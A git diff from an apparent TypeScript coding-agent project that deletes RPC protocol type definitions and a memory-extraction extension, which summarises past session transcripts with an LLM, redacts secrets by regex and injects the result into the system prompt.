ThinkingLevel } - | { id?: string; type: "cycle_thinking_level" } - - // Queue modes - | { id?: string; type: "set_steering_mode"; mode: "all" | "one-at-a-time" } - | { id?: string; type: "set_follow_up_mode"; mode: "all" | "one-at-a-time" } - - // Compaction - | { id?: string; type: "compact"; customInstructions?: string } - | { id?: string; type: "set_auto_compaction"; enabled: boolean } - - // Retry - | { id?: string; type: "set_auto_retry"; enabled: boolean } - | { id?: string; type: "abort_retry" } - - // Bash - | { id?: string; type: "bash"; command: string } - | { id?: string; type: "abort_bash" } - - // Session - | { id?: string; type: "get_session_stats" } - | { id?: string; type: "export_html"; outputPath?: string } - | { id?: string; type: "switch_session"; sessionPath: string } - | { id?: string; type: "fork"; entryId: string } - | { id?: string; type: "get_fork_messages" } - | { id?: string; type: "get_last_assistant_text" } - | { id?: string; type: "set_session_name"; name: string } - - // Messages - | { id?: string; type: "get_messages" } - - // Commands (available for invocation via prompt) - | { id?: string; type: "get_commands" } - - // Bridge-hosted native terminal - | { id?: string; type: "terminal_input"; data: string } - | { id?: string; type: "terminal_resize"; cols: number; rows: number } - | { id?: string; type: "terminal_redraw" } - - // v2 Protocol - | { id?: string; type: "init"; protocolVersion: 2; clientId?: string } - | { id?: string; type: "shutdown"; graceful?: boolean } - | { id?: string; type: "subscribe"; events: string[] }; - -// ============================================================================ -// RPC Slash Command (for get_commands response) -// ============================================================================ - -/** A command available for invocation via prompt */ -export interface RpcSlashCommand { - /** Command name (without leading slash) */ - name: string; - /** Human-readable description */ - description?: string; - /** What kind of command this is */ - source: "extension" | "prompt" | "skill"; - /** Where the command was loaded from (undefined for extensions) */ - location?: "user" | "project" | "path"; - /** File path to the command source */ - path?: string; -} - -// ============================================================================ -// RPC State -// ============================================================================ - -export interface RpcSessionState { - model?: Model; - thinkingLevel: ThinkingLevel; - isStreaming: boolean; - isCompacting: boolean; - steeringMode: "all" | "one-at-a-time"; - followUpMode: "all" | "one-at-a-time"; - sessionFile?: string; - sessionId: string; - sessionName?: string; - autoCompactionEnabled: boolean; - autoRetryEnabled: boolean; - retryInProgress: boolean; - retryAttempt: number; - messageCount: number; - pendingMessageCount: number; - /** Whether extension loading has completed. Commands from `get_commands` may be incomplete until true. */ - extensionsReady: boolean; -} - -// ============================================================================ -// RPC Responses (stdout) -// ============================================================================ - -// Success responses with data -export type RpcResponse = - // Prompting (async - events follow) - | { - id?: string; - type: "response"; - command: "prompt"; - success: true; - runId?: string; - } - | { - id?: string; - type: "response"; - command: "steer"; - success: true; - runId?: string; - } - | { - id?: string; - type: "response"; - command: "follow_up"; - success: true; - runId?: string; - } - | { id?: string; type: "response"; command: "abort"; success: true } - | { - id?: string; - type: "response"; - command: "new_session"; - success: true; - data: { cancelled: boolean }; - } - - // State - | { - id?: string; - type: "response"; - command: "get_state"; - success: true; - data: RpcSessionState; - } - - // Model - | { - id?: string; - type: "response"; - command: "set_model"; - success: true; - data: Model; - } - | { - id?: string; - type: "response"; - command: "cycle_model"; - success: true; - data: { - model: Model; - thinkingLevel: ThinkingLevel; - isScoped: boolean; - } | null; - } - | { - id?: string; - type: "response"; - command: "get_available_models"; - success: true; - data: { models: Model[] }; - } - - // Thinking - | { - id?: string; - type: "response"; - command: "set_thinking_level"; - success: true; - } - | { - id?: string; - type: "response"; - command: "cycle_thinking_level"; - success: true; - data: { level: ThinkingLevel } | null; - } - - // Queue modes - | { - id?: string; - type: "response"; - command: "set_steering_mode"; - success: true; - } - | { - id?: string; - type: "response"; - command: "set_follow_up_mode"; - success: true; - } - - // Compaction - | { - id?: string; - type: "response"; - command: "compact"; - success: true; - data: CompactionResult; - } - | { - id?: string; - type: "response"; - command: "set_auto_compaction"; - success: true; - } - - // Retry - | { id?: string; type: "response"; command: "set_auto_retry"; success: true } - | { id?: string; type: "response"; command: "abort_retry"; success: true } - - // Bash - | { - id?: string; - type: "response"; - command: "bash"; - success: true; - data: BashResult; - } - | { id?: string; type: "response"; command: "abort_bash"; success: true } - - // Session - | { - id?: string; - type: "response"; - command: "get_session_stats"; - success: true; - data: SessionStats; - } - | { - id?: string; - type: "response"; - command: "export_html"; - success: true; - data: { path: string }; - } - | { - id?: string; - type: "response"; - command: "switch_session"; - success: true; - data: { cancelled: boolean }; - } - | { - id?: string; - type: "response"; - command: "fork"; - success: true; - data: { text: string; cancelled: boolean }; - } - | { - id?: string; - type: "response"; - command: "get_fork_messages"; - success: true; - data: { messages: Array<{ entryId: string; text: string }> }; - } - | { - id?: string; - type: "response"; - command: "get_last_assistant_text"; - success: true; - data: { text: string | null }; - } - | { - id?: string; - type: "response"; - command: "set_session_name"; - success: true; - } - - // Messages - | { - id?: string; - type: "response"; - command: "get_messages"; - success: true; - data: { messages: AgentMessage[] }; - } - - // Commands - | { - id?: string; - type: "response"; - command: "get_commands"; - success: true; - data: { commands: RpcSlashCommand[] }; - } - - // Bridge-hosted native terminal - | { id?: string; type: "response"; command: "terminal_input"; success: true } - | { id?: string; type: "response"; command: "terminal_resize"; success: true } - | { id?: string; type: "response"; command: "terminal_redraw"; success: true } - - // v2 Protocol - | { - id?: string; - type: "response"; - command: "init"; - success: true; - data: RpcInitResult; - } - | { id?: string; type: "response"; command: "shutdown"; success: true } - | { id?: string; type: "response"; command: "subscribe"; success: true } - - // Error response (any command can fail) - | { - id?: string; - type: "response"; - command: string; - success: false; - error: string; - }; - -// ============================================================================ -// v2 Protocol Types -// ============================================================================ - -/** Result of the init handshake (v2 only) */ -export interface RpcInitResult { - protocolVersion: 2; - sessionId: string; - capabilities: { - events: string[]; - commands: string[]; - }; -} - -/** v2 execution_complete event — emitted when a prompt/steer/follow_up finishes */ -export interface RpcExecutionCompleteEvent { - type: "execution_complete"; - runId: string; - status: "completed" | "error" | "cancelled"; - reason?: string; - stats: SessionStats; -} - -/** v2 cost_update event — emitted per-turn with running cost data */ -export interface RpcCostUpdateEvent { - type: "cost_update"; - runId: string; - turnCost: number; - cumulativeCost: number; - tokens: { - input: number; - output: number; - cacheRead: number; - cacheWrite: number; - }; -} - -/** Runtime heartbeat emitted by long-lived RPC children for daemon reload supervision. */ -export interface RpcRuntimeHeartbeatEvent { - type: "runtime_heartbeat"; - sessionId: string; - sessionFile?: string; - unitType?: string; - unitId?: string; - runtimeEpoch: number; - sourceEpoch: number; - emittedAt: number; -} - -/** Discriminated union of all v2-only event types */ -export type RpcV2Event = - | RpcExecutionCompleteEvent - | RpcCostUpdateEvent - | RpcRuntimeHeartbeatEvent; - -// ============================================================================ -// Extension UI Events (stdout) -// ============================================================================ - -/** Emitted when an extension needs user input */ -export type RpcExtensionUIRequest = - | { - type: "extension_ui_request"; - id: string; - method: "select"; - title: string; - options: string[]; - timeout?: number; - allowMultiple?: boolean; - } - | { - type: "extension_ui_request"; - id: string; - method: "confirm"; - title: string; - message: string; - timeout?: number; - } - | { - type: "extension_ui_request"; - id: string; - method: "input"; - title: string; - placeholder?: string; - timeout?: number; - secure?: boolean; - } - | { - type: "extension_ui_request"; - id: string; - method: "editor"; - title: string; - prefill?: string; - } - | { - type: "extension_ui_request"; - id: string; - method: "notify"; - message: string; - notifyType?: "info" | "warning" | "error"; - } - | { - type: "extension_ui_request"; - id: string; - method: "setStatus"; - statusKey: string; - statusText: string | undefined; - } - | { - type: "extension_ui_request"; - id: string; - method: "setWidget"; - widgetKey: string; - widgetLines: string[] | undefined; - widgetPlacement?: "aboveEditor" | "belowEditor"; - } - | { - type: "extension_ui_request"; - id: string; - method: "setTitle"; - title: string; - } - | { - type: "extension_ui_request"; - id: string; - method: "set_editor_text"; - text: string; - }; - -// ============================================================================ -// Extension UI Commands (stdin) -// ============================================================================ - -/** Response to an extension UI request */ -export type RpcExtensionUIResponse = - | { type: "extension_ui_response"; id: string; value: string } - | { type: "extension_ui_response"; id: string; values: string[] } - | { type: "extension_ui_response"; id: string; confirmed: boolean } - | { type: "extension_ui_response"; id: string; cancelled: true }; - -// ============================================================================ -// Helper type for extracting command types -// ============================================================================ - -export type RpcCommandType = RpcCommand["type"]; diff --git a/packages/pi-coding-agent/src/modes/shared/command-context-actions.ts b/packages/pi-coding-agent/src/modes/shared/command-context-actions.ts deleted file mode 100644 index 765e1386d..000000000 --- a/packages/pi-coding-agent/src/modes/shared/command-context-actions.ts +++ /dev/null @@ -1,55 +0,0 @@ -/** - * Default (headless) implementations of ExtensionCommandContextActions. - * - * These delegate directly to AgentSession without any UI side-effects. - * Interactive mode layers TUI-specific behavior on top of these. - * RPC and print modes use them as-is. - */ - -import type { AgentSession } from "../../core/agent-session.js"; -import type { ExtensionCommandContextActions } from "../../core/extensions/index.js"; - -/** - * Create the default set of command context actions that simply delegate - * to the corresponding AgentSession methods. - * - * Callers can spread the result and override individual actions to add - * mode-specific behavior (e.g., interactive mode clears TUI state after - * forking). - */ -export function createDefaultCommandContextActions( - session: AgentSession, -): ExtensionCommandContextActions { - return { - waitForIdle: () => session.agent.waitForIdle(), - - newSession: async (options) => { - const success = await session.newSession(options); - return { cancelled: !success }; - }, - - fork: async (entryId) => { - const result = await session.fork(entryId); - return { cancelled: result.cancelled }; - }, - - navigateTree: async (targetId, options) => { - const result = await session.navigateTree(targetId, { - summarize: options?.summarize, - customInstructions: options?.customInstructions, - replaceInstructions: options?.replaceInstructions, - label: options?.label, - }); - return { cancelled: result.cancelled }; - }, - - switchSession: async (sessionPath) => { - const success = await session.switchSession(sessionPath); - return { cancelled: !success }; - }, - - reload: async () => { - await session.reload(); - }, - }; -} diff --git a/packages/pi-coding-agent/src/resources/extensions/memory/index.ts b/packages/pi-coding-agent/src/resources/extensions/memory/index.ts deleted file mode 100644 index ce18aba9d..000000000 --- a/packages/pi-coding-agent/src/resources/extensions/memory/index.ts +++ /dev/null @@ -1,278 +0,0 @@ -/** - * Memory extraction extension. - * - * Automated two-phase pipeline that extracts durable knowledge from session - * transcripts and consolidates into project-scoped memory artifacts injected - * into future sessions. - * - * Lifecycle: - * - session_start (depth 0): fire-and-forget pipeline.runStartup() - * - before_agent_start: inject memory_summary.md into system prompt - * - /memory command: view, clear, rebuild, stats - */ - -import { existsSync, mkdirSync, rmSync } from "node:fs"; -import { join } from "node:path"; -import { completeSimple } from "@singularity-forge/pi-ai"; -import type { ExtensionAPI } from "@singularity-forge/pi-coding-agent"; -import { - getAgentDir, - SettingsManager, -} from "@singularity-forge/pi-coding-agent"; -import { getFullMemory, getMemorySummary, runStartup } from "./pipeline.js"; -import { MemoryStorage } from "./storage.js"; - -/** Get the memory directory for a project */ -function getMemoryDir(cwd: string): string { - return join(cwd, ".sf", "memory"); -} - -/** Get the database path */ -function getDbPath(cwd: string): string { - return join(cwd, ".sf", "sf.db"); -} - -let storageInstance: MemoryStorage | null = null; -let storageDbPath: string | null = null; - -async function getStorage(cwd: string): Promise { - const dbPath = getDbPath(cwd); - if (!storageInstance || storageDbPath !== dbPath) { - storageInstance?.close(); - storageInstance = await MemoryStorage.create(dbPath); - storageDbPath = dbPath; - } - return storageInstance; -} - -export default function memoryExtension(api: ExtensionAPI): void { - interface MemorySettingsResolved { - enabled: boolean; - maxRolloutsPerStartup: number; - maxRolloutAgeDays: number; - minRolloutIdleHours: number; - stage1Concurrency: number; - summaryInjectionTokenLimit: number; - } - - let memorySettings: MemorySettingsResolved; - try { - const sm = SettingsManager.create(); - memorySettings = sm.getMemorySettings(); - } catch { - memorySettings = { - enabled: false, - maxRolloutsPerStartup: 64, - maxRolloutAgeDays: 30, - minRolloutIdleHours: 12, - stage1Concurrency: 8, - summaryInjectionTokenLimit: 5000, - }; - } - - if (!memorySettings.enabled) { - api.registerCommand("memory", { - description: "Memory extraction pipeline (disabled - enable in settings)", - handler: async (_args, ctx) => { - ctx.ui.notify( - 'Memory extraction is disabled. Enable it with: settings.json \u2192 "memory": { "enabled": true }', - "info", - ); - }, - }); - return; - } - - let cwd = ""; - let memoryDir = ""; - - // On session start, fire-and-forget the pipeline - api.on("session_start", async (_event, ctx) => { - cwd = ctx.cwd; - memoryDir = getMemoryDir(cwd); - - if (!existsSync(memoryDir)) { - mkdirSync(memoryDir, { recursive: true }); - } - - const sessionsDir = join(getAgentDir(), "sessions"); - - // Create the LLM call function using the extension context - const llmCall = async ( - system: string, - user: string, - options?: { maxTokens?: number }, - ): Promise => { - const model = ctx.model; - if (!model) { - throw new Error("No model available for memory extraction"); - } - - const result = await completeSimple( - model, - { - systemPrompt: system, - messages: [ - { role: "user" as const, content: user, timestamp: Date.now() }, - ], - }, - { maxTokens: options?.maxTokens ?? 4096 }, - ); - - // Extract text from the result - const textParts = result.content - .filter((part) => part.type === "text") - .map((part) => part.text); - return textParts.join(""); - }; - - // Fire and forget - runStartup( - await getStorage(cwd), - { - sessionsDir, - memoryDir, - cwd, - maxRolloutsPerStartup: memorySettings.maxRolloutsPerStartup, - maxRolloutAgeDays: memorySettings.maxRolloutAgeDays, - minRolloutIdleHours: memorySettings.minRolloutIdleHours, - stage1Concurrency: memorySettings.stage1Concurrency, - }, - llmCall, - ).catch(() => { - // Memory extraction is best-effort - }); - }); - - // Inject memory summary into system prompt - api.on("before_agent_start", async (_event, ctx) => { - if (!memoryDir) { - memoryDir = getMemoryDir(ctx.cwd); - } - - const summary = getMemorySummary(memoryDir); - if (summary) { - const charLimit = memorySettings.summaryInjectionTokenLimit * 4; - const truncated = - summary.length > charLimit - ? summary.slice(0, charLimit) + "\n[...truncated]" - : summary; - - return { - systemPrompt: _event.systemPrompt + "\n\n" + truncated, - }; - } - }); - - // Register /memory command - api.registerCommand("memory", { - description: "View or manage extracted project memories", - getArgumentCompletions: (prefix) => { - const subcommands = [ - { label: "view", description: "View current memories (default)" }, - { label: "clear", description: "Clear all memories for this project" }, - { label: "rebuild", description: "Re-extract all memories" }, - { label: "stats", description: "Show pipeline statistics" }, - ]; - return subcommands - .filter((s) => s.label.startsWith(prefix)) - .map((s) => ({ - value: s.label, - label: s.label, - description: s.description, - })); - }, - handler: async (args, ctx) => { - const subcommand = args.trim().split(/\s+/)[0] || "view"; - const projectMemoryDir = getMemoryDir(ctx.cwd); - - switch (subcommand) { - case "view": { - const memory = getFullMemory(projectMemoryDir); - if (memory) { - api.sendMessage({ - customType: "memory:view", - content: memory, - display: true, - }); - } else { - ctx.ui.notify( - "No memories extracted yet. Memories are extracted on session startup.", - "info", - ); - } - break; - } - - case "clear": { - const confirmed = await ctx.ui.confirm( - "Clear Memories", - "Delete all extracted memories for this project?", - ); - if (confirmed) { - (await getStorage(ctx.cwd)).clearForCwd(ctx.cwd); - if (existsSync(projectMemoryDir)) { - rmSync(projectMemoryDir, { recursive: true, force: true }); - } - ctx.ui.notify("Memories cleared.", "info"); - } - break; - } - - case "rebuild": { - const confirmed = await ctx.ui.confirm( - "Rebuild Memories", - "Re-extract all memories from session history? This may take a while.", - ); - if (confirmed) { - (await getStorage(ctx.cwd)).resetAllForCwd(ctx.cwd); - if (existsSync(projectMemoryDir)) { - rmSync(projectMemoryDir, { recursive: true, force: true }); - } - ctx.ui.notify( - "Memory rebuild enqueued. Extraction will run on next session startup.", - "info", - ); - } - break; - } - - case "stats": { - const stats = (await getStorage(ctx.cwd)).getStats(); - const statsText = [ - "Memory Pipeline Statistics:", - ` Total sessions tracked: ${stats.totalThreads}`, - ` Pending extraction: ${stats.pendingThreads}`, - ` Extracted: ${stats.doneThreads}`, - ` Errors: ${stats.errorThreads}`, - ` Stage 1 outputs: ${stats.totalStage1Outputs}`, - ` Pending stage 1 jobs: ${stats.pendingStage1Jobs}`, - ` Memory dir: ${projectMemoryDir}`, - ` Memory exists: ${existsSync(join(projectMemoryDir, "MEMORY.md"))}`, - ].join("\n"); - api.sendMessage({ - customType: "memory:stats", - content: statsText, - display: true, - }); - break; - } - - default: - ctx.ui.notify( - `Unknown subcommand: ${subcommand}. Use: view, clear, rebuild, stats`, - "warning", - ); - } - }, - }); - - // Cleanup on shutdown - api.on("session_shutdown", async () => { - if (storageInstance) { - storageInstance.close(); - storageInstance = null; - storageDbPath = null; - } - }); -} diff --git a/packages/pi-coding-agent/src/resources/extensions/memory/pipeline.ts b/packages/pi-coding-agent/src/resources/extensions/memory/pipeline.ts deleted file mode 100644 index 777a61323..000000000 --- a/packages/pi-coding-agent/src/resources/extensions/memory/pipeline.ts +++ /dev/null @@ -1,587 +0,0 @@ -/** - * Memory extraction pipeline orchestration. - * - * Two-phase pipeline: - * - Phase 1: Scan session .jsonl files, extract durable knowledge via LLM - * - Phase 2: Consolidate all extractions into MEMORY.md and memory_summary.md - */ - -import { - createReadStream, - existsSync, - mkdirSync, - readdirSync, - readFileSync, - statSync, - writeFileSync, -} from "node:fs"; -import { join } from "node:path"; -import { createInterface } from "node:readline"; -import type { MemoryStorage } from "./storage.js"; - -/** Inline concurrency limiter to cap parallel async operations. */ -function pLimit(concurrency: number) { - const queue: (() => void)[] = []; - let active = 0; - return (fn: () => Promise): Promise => { - return new Promise((resolve, reject) => { - const run = () => { - active++; - fn() - .then(resolve, reject) - .finally(() => { - active--; - if (queue.length > 0) queue.shift()!(); - }); - }; - if (active < concurrency) run(); - else queue.push(run); - }); - }; -} - -/** Max session file size to process (50MB) — prevents OOM with concurrent workers */ -const MAX_SESSION_FILE_SIZE = 50 * 1024 * 1024; - -/** Secret patterns to redact from LLM output before storage */ -const SECRET_PATTERNS = [ - // API keys and tokens (sk_, pk_, api_key, etc.) - /(?:sk|pk|api[_-]?key|token|secret|password|credential|auth)[_-]?\w*[\s:=]+['"]?[\w\-./+=]{20,}['"]?/gi, - // AWS keys - /AKIA[0-9A-Z]{16}/g, - // GitHub tokens - /gh[pousr]_[A-Za-z0-9_]{36,}/g, - // Stripe keys (rk_live_, sk_live_, pk_live_, etc.) - /[rsp]k_(?:live|test)_[A-Za-z0-9]{20,}/g, - // Supabase / generic JWTs (eyJ...) - /eyJ[A-Za-z0-9_-]{20,}\.eyJ[A-Za-z0-9_-]{20,}\.[A-Za-z0-9_-]+/g, - // PEM private keys - /-----BEGIN (?:RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----[\s\S]*?-----END (?:RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----/g, - // Generic Bearer tokens - /(?:Bearer\s+)[A-Za-z0-9\-._~+/]+=*/gi, - // npm tokens - /npm_[A-Za-z0-9]{36,}/g, - // Anthropic API keys - /sk-ant-[A-Za-z0-9\-_]{20,}/g, - // OpenAI API keys - /sk-[A-Za-z0-9]{40,}/g, -]; - -function redactSecrets(text: string): string { - let result = text; - for (const pattern of SECRET_PATTERNS) { - result = result.replace(pattern, "[REDACTED]"); - } - return result; -} - -export type LLMCallFn = ( - system: string, - user: string, - options?: { maxTokens?: number }, -) => Promise; - -export interface PipelineConfig { - sessionsDir: string; - memoryDir: string; - cwd: string; - maxRolloutsPerStartup: number; - maxRolloutAgeDays: number; - minRolloutIdleHours: number; - stage1Concurrency: number; -} - -interface SessionFileInfo { - threadId: string; - filePath: string; - fileSize: number; - fileMtime: number; -} - -/** - * Read only the first line of a file without loading the entire contents. - */ -async function readFirstLine(filePath: string): Promise { - return new Promise((resolve, reject) => { - const rl = createInterface({ - input: createReadStream(filePath, { encoding: "utf-8" }), - crlfDelay: Infinity, - }); - rl.on("line", (line) => { - rl.close(); - resolve(line); - }); - rl.on("error", reject); - rl.on("close", () => resolve("")); - }); -} - -/** - * Scan sessions directory for .jsonl files belonging to this project (cwd). - */ -async function scanSessionFiles( - sessionsDir: string, - cwd: string, -): Promise { - if (!existsSync(sessionsDir)) { - return []; - } - - const results: SessionFileInfo[] = []; - - try { - const entries = readdirSync(sessionsDir, { withFileTypes: true }); - const dirs = entries.filter((e) => e.isDirectory()); - - for (const dir of dirs) { - const dirPath = join(sessionsDir, dir.name); - try { - const files = readdirSync(dirPath).filter((f) => f.endsWith(".jsonl")); - for (const file of files) { - const filePath = join(dirPath, file); - try { - const headerLine = await readFirstLine(filePath); - if (!headerLine) continue; - const header = JSON.parse(headerLine); - - if (header.type === "session" && header.cwd === cwd) { - const st = statSync(filePath); - results.push({ - threadId: header.id, - filePath, - fileSize: st.size, - fileMtime: Math.floor(st.mtimeMs), - }); - } - } catch { - // Skip malformed session files - } - } - } catch { - // Skip unreadable directories - } - } - } catch { - // Sessions dir unreadable - } - - return results; -} - -/** - * Filter session messages to persistable content for LLM extraction. - * Strips tool results, images, and large content blocks. - */ -function filterSessionContent(filePath: string): string { - try { - const st = statSync(filePath); - if (st.size > MAX_SESSION_FILE_SIZE) { - return "[]"; - } - const content = readFileSync(filePath, "utf-8"); - const lines = content.split("\n").filter((l) => l.trim()); - const filtered: Array<{ role: string; content: string }> = []; - - for (const line of lines) { - try { - const entry = JSON.parse(line); - - // Skip non-message entries - if (entry.type !== "message") continue; - - const msg = entry.message; - if (!msg) continue; - - const role = msg.role; - if (role !== "user" && role !== "assistant") continue; - - // Extract text content - let text = ""; - if (typeof msg.content === "string") { - text = msg.content; - } else if (Array.isArray(msg.content)) { - const textParts = msg.content - .filter((p: { type: string }) => p.type === "text") - .map((p: { text: string }) => p.text); - text = textParts.join("\n"); - } - - if (!text.trim()) continue; - - // Truncate very long messages - if (text.length > 10_000) { - text = text.slice(0, 10_000) + "\n[...truncated]"; - } - - filtered.push({ role, content: text }); - } catch { - // Skip malformed lines - } - } - - return JSON.stringify(filtered); - } catch { - return "[]"; - } -} - -// Prompt templates inlined to avoid ESM __dirname issues and asset copying - -const PROMPTS = { - "stage-one-system": `You are a memory extraction agent. Your task is to analyze a coding agent session transcript and extract durable, reusable knowledge. - -## What to extract - -Extract facts that would help a future session working on the same project: - -1. **Project architecture** - frameworks, languages, build systems, directory structure patterns -2. **Conventions** - naming patterns, code style preferences, testing patterns -3. **Key decisions** - architectural choices made and their rationale -4. **Environment setup** - required tools, environment variables, deployment targets -5. **Gotchas and workarounds** - non-obvious behaviors, known issues, workarounds applied -6. **User preferences** - how the user likes to work, communication style, review preferences - -## What NOT to extract - -- Transient task details (specific bug fixes, one-off requests) -- Code snippets longer than 3 lines -- Information that is obvious from reading the codebase -- Secrets, API keys, tokens, or credentials (CRITICAL: redact any you encounter) - -## Output format - -Return a JSON array of memory objects: - -\`\`\`json -[ - { - "category": "architecture|convention|decision|environment|gotcha|preference", - "content": "Clear, concise statement of the knowledge", - "confidence": 0.0-1.0, - "source_context": "Brief note on what in the session led to this extraction" - } -] -\`\`\` - -If the session contains no extractable durable knowledge, return an empty array: \`[]\` - -Be selective. Quality over quantity. A typical session yields 0-5 memories.`, - - "stage-one-input": `## Session: {{thread_id}} - -Analyze the following session transcript and extract durable knowledge. - - -{{response_items_json}} - - -Extract memories as specified in your instructions. Return ONLY the JSON array.`, - - consolidation: `Merge and deduplicate these extracted memories into a clean, organized markdown document. - -## Tasks - -1. **Deduplicate** - Merge memories that express the same knowledge -2. **Resolve conflicts** - When memories contradict, prefer higher-confidence and more recent ones -3. **Rank** - Order by importance (most useful for future sessions first) -4. **Prune** - Remove memories that are subsumed by more general ones -5. **Categorize** - Group by category for readability - -## Output format - -Return a markdown document with the following structure: - -# Project Memory - -## Architecture -- [memory item] - -## Conventions -- [memory item] - -## Key Decisions -- [memory item] - -## Environment -- [memory item] - -## Gotchas -- [memory item] - -## Preferences -- [memory item] - -Only include sections that have entries. Each item should be a single clear sentence or short paragraph. - -CRITICAL: Never include secrets, API keys, tokens, or credentials. - -## Input memories - -{{memories_json}}`, - - "read-path": `## Project Memory (auto-extracted) - -The following knowledge was automatically extracted from previous sessions working on this project. Use it to inform your responses, but verify against the actual codebase when making changes. - -{{memory_content}}`, -} as const; - -function getPrompt(name: keyof typeof PROMPTS): string { - return PROMPTS[name]; -} - -/** - * Run Phase 1: Extract memories from individual session files. - */ -async function runPhase1( - storage: MemoryStorage, - config: PipelineConfig, - llmCall: LLMCallFn, - workerId: string, -): Promise<{ processed: number; errors: number }> { - let processed = 0; - let errors = 0; - - const systemPrompt = getPrompt("stage-one-system"); - const inputTemplate = getPrompt("stage-one-input"); - - // Claim jobs in batches - const jobs = storage.claimStage1Jobs(workerId, config.stage1Concurrency, 300); - - if (jobs.length === 0) { - return { processed: 0, errors: 0 }; - } - - // Process jobs with bounded concurrency to avoid memory spikes - const limit = pLimit(5); - const promises = jobs.map((job) => - limit(async () => { - try { - const thread = storage.getThread(job.threadId); - if (!thread) { - storage.failStage1Job(job.threadId, "Thread not found"); - errors++; - return; - } - - const sessionContent = filterSessionContent(thread.file_path); - if (sessionContent === "[]") { - // No content to extract from - mark as done with empty output - storage.completeStage1Job(job.threadId, "[]"); - processed++; - return; - } - - const userPrompt = inputTemplate - .replace("{{thread_id}}", job.threadId) - .replace("{{response_items_json}}", sessionContent); - - const response = await llmCall(systemPrompt, userPrompt, { - maxTokens: 4096, - }); - const redacted = redactSecrets(response); - - // Validate JSON output - try { - JSON.parse(redacted); - } catch { - // Try to extract JSON array from the response - const match = redacted.match(/\[[\s\S]*\]/); - if (match) { - JSON.parse(match[0]); - storage.completeStage1Job(job.threadId, match[0]); - processed++; - return; - } - storage.failStage1Job(job.threadId, "LLM output is not valid JSON"); - errors++; - return; - } - - storage.completeStage1Job(job.threadId, redacted); - processed++; - } catch (err) { - const message = err instanceof Error ? err.message : String(err); - storage.failStage1Job(job.threadId, message); - errors++; - } - }), - ); - - await Promise.all(promises); - return { processed, errors }; -} - -/** - * Run Phase 2: Consolidate all stage1 outputs into MEMORY.md. - */ -async function runPhase2( - storage: MemoryStorage, - config: PipelineConfig, - llmCall: LLMCallFn, - workerId: string, -): Promise { - const phase2 = storage.tryClaimGlobalPhase2Job(workerId, 600); - if (!phase2) { - return false; - } - - try { - const outputs = storage.getStage1OutputsForCwd(config.cwd); - if (outputs.length === 0) { - storage.completePhase2Job(phase2.jobId); - return true; - } - - // Collect all memories - const allMemories: unknown[] = []; - for (const output of outputs) { - try { - const memories = JSON.parse(output.extractionJson); - if (Array.isArray(memories)) { - allMemories.push(...memories); - } - } catch { - // Skip malformed outputs - } - } - - if (allMemories.length === 0) { - // Write empty memory files - if (!existsSync(config.memoryDir)) { - mkdirSync(config.memoryDir, { recursive: true }); - } - writeFileSync( - join(config.memoryDir, "MEMORY.md"), - "# Project Memory\n\nNo memories extracted yet.\n", - ); - writeFileSync(join(config.memoryDir, "memory_summary.md"), ""); - storage.completePhase2Job(phase2.jobId); - return true; - } - - // Save raw memories - if (!existsSync(config.memoryDir)) { - mkdirSync(config.memoryDir, { recursive: true }); - } - writeFileSync( - join(config.memoryDir, "raw_memories.md"), - `# Raw Extracted Memories\n\n\`\`\`json\n${JSON.stringify(allMemories, null, 2)}\n\`\`\`\n`, - ); - - // Call LLM for consolidation - const consolidationPrompt = getPrompt("consolidation").replace( - "{{memories_json}}", - JSON.stringify(allMemories, null, 2), - ); - - const consolidatedMemory = await llmCall( - "You are a memory consolidation agent. Merge the extracted memories into a clean, organized markdown document.", - consolidationPrompt, - { maxTokens: 8192 }, - ); - - const redactedMemory = redactSecrets(consolidatedMemory); - - // Write MEMORY.md - writeFileSync(join(config.memoryDir, "MEMORY.md"), redactedMemory); - - // Write memory_summary.md (truncated version for injection) - const summaryLines = redactedMemory.split("\n").slice(0, 100); - const summary = summaryLines.join("\n"); - writeFileSync(join(config.memoryDir, "memory_summary.md"), summary); - - storage.completePhase2Job(phase2.jobId); - return true; - } catch (_err) { - // Phase 2 failed - job will expire and can be retried - return false; - } -} - -/** - * Run the full pipeline startup sequence. - */ -export async function runStartup( - storage: MemoryStorage, - config: PipelineConfig, - llmCall: LLMCallFn, -): Promise<{ phase1: { processed: number; errors: number }; phase2: boolean }> { - const workerId = `worker-${Date.now()}`; - - // Step 1: Scan sessions and upsert threads - const sessionFiles = await scanSessionFiles(config.sessionsDir, config.cwd); - - // Apply age and idle filters - const now = Date.now(); - const maxAgeMs = config.maxRolloutAgeDays * 24 * 60 * 60 * 1000; - const minIdleMs = config.minRolloutIdleHours * 60 * 60 * 1000; - - const eligible = sessionFiles - .filter((f) => { - const age = now - f.fileMtime; - return age <= maxAgeMs && age >= minIdleMs; - }) - .slice(0, config.maxRolloutsPerStartup); - - if (eligible.length > 0) { - storage.upsertThreads( - eligible.map((f) => ({ - threadId: f.threadId, - filePath: f.filePath, - fileSize: f.fileSize, - fileMtime: f.fileMtime, - cwd: config.cwd, - })), - ); - } - - // Step 2: Run Phase 1 - const phase1Result = await runPhase1(storage, config, llmCall, workerId); - - // Step 3: Run Phase 2 (only if phase 1 did work) - let phase2Result = false; - if (phase1Result.processed > 0) { - phase2Result = await runPhase2(storage, config, llmCall, workerId); - } - - return { phase1: phase1Result, phase2: phase2Result }; -} - -/** - * Get the memory summary for injection into the system prompt. - */ -export function getMemorySummary(memoryDir: string): string | null { - const summaryPath = join(memoryDir, "memory_summary.md"); - if (!existsSync(summaryPath)) { - return null; - } - - try { - const content = readFileSync(summaryPath, "utf-8").trim(); - if (!content) { - return null; - } - - const readPathTemplate = getPrompt("read-path"); - return readPathTemplate.replace("{{memory_content}}", content); - } catch { - return null; - } -} - -/** - * Get the full MEMORY.md content. - */ -export function getFullMemory(memoryDir: string): string | null { - const memoryPath = join(memoryDir, "MEMORY.md"); - if (!existsSync(memoryPath)) { - return null; - } - - try { - return readFileSync(memoryPath, "utf-8"); - } catch { - return null; - } -} diff --git a/packages/pi-coding-agent/src/resources/extensions/memory/storage.test.ts b/packages/pi-coding-agent/src/resources/extensions/memory/storage.test.ts deleted file mode 100644 index 21ab2ea9f..000000000 --- a/packages/pi-coding-agent/src/resources/extensions/memory/storage.test.ts +++ /dev/null @@ -1,88 +0,0 @@ -import assert from "node:assert/strict"; -import { existsSync, mkdtempSync, rmSync } from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { afterEach, describe, it } from "vitest"; - -import { MemoryStorage } from "./storage.js"; - -function makeTmpDir(): string { - return 